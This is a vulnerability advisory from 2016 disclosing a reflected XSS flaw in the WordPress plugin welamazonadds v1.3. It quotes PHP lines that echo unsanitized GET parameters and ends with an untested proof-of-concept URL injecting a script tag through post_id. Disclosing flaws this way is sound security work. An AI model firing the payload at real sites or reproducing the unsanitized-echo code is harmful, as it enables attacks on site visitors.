Advisory #: 583
Title: Reflected XSS in wordpress plugin welamazonadds v1.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/welamazonadds
Downloads: 3803
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: welamazonadds
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./welamazonadds/waa-insert.php: 108: <a href="waa-insert.php?post_id=<? echo $_GET['post_id']; ?>&tab=image" class="<? echo $_GET['tab']=='image'?'current':''; ?>"><? _e('Image Links', 'WAA'); ?></a> 111: <a href="waa-insert.php?post_id=<? echo $_GET['post_id']; ?>&tab=enhanced" class="<? echo $_GET['tab']=='enhanced'?'current':''; ?>"><? _e('Enhanced Links', 'WAA'); ?></a> 114: <a href="waa-insert.php?post_id=<? echo $_GET['post_id']; ?>&tab=sidebar" class="<? echo $_GET['tab']=='sidebar'?'current':''; ?>"><? _e('Sidebar Links', 'WAA'); ?></a> 397: <input type="hidden" name="post_id" id="post_id" value="<? echo $_GET['post_id']; ?>" /> 417: jQuery.insertSetup('<? echo $_GET['tab']; ?>'); The variable post_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./welamazonadds/waa-insert.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/welamazonadds/waa-insert.php?post_id="><script>alert(1);</script><"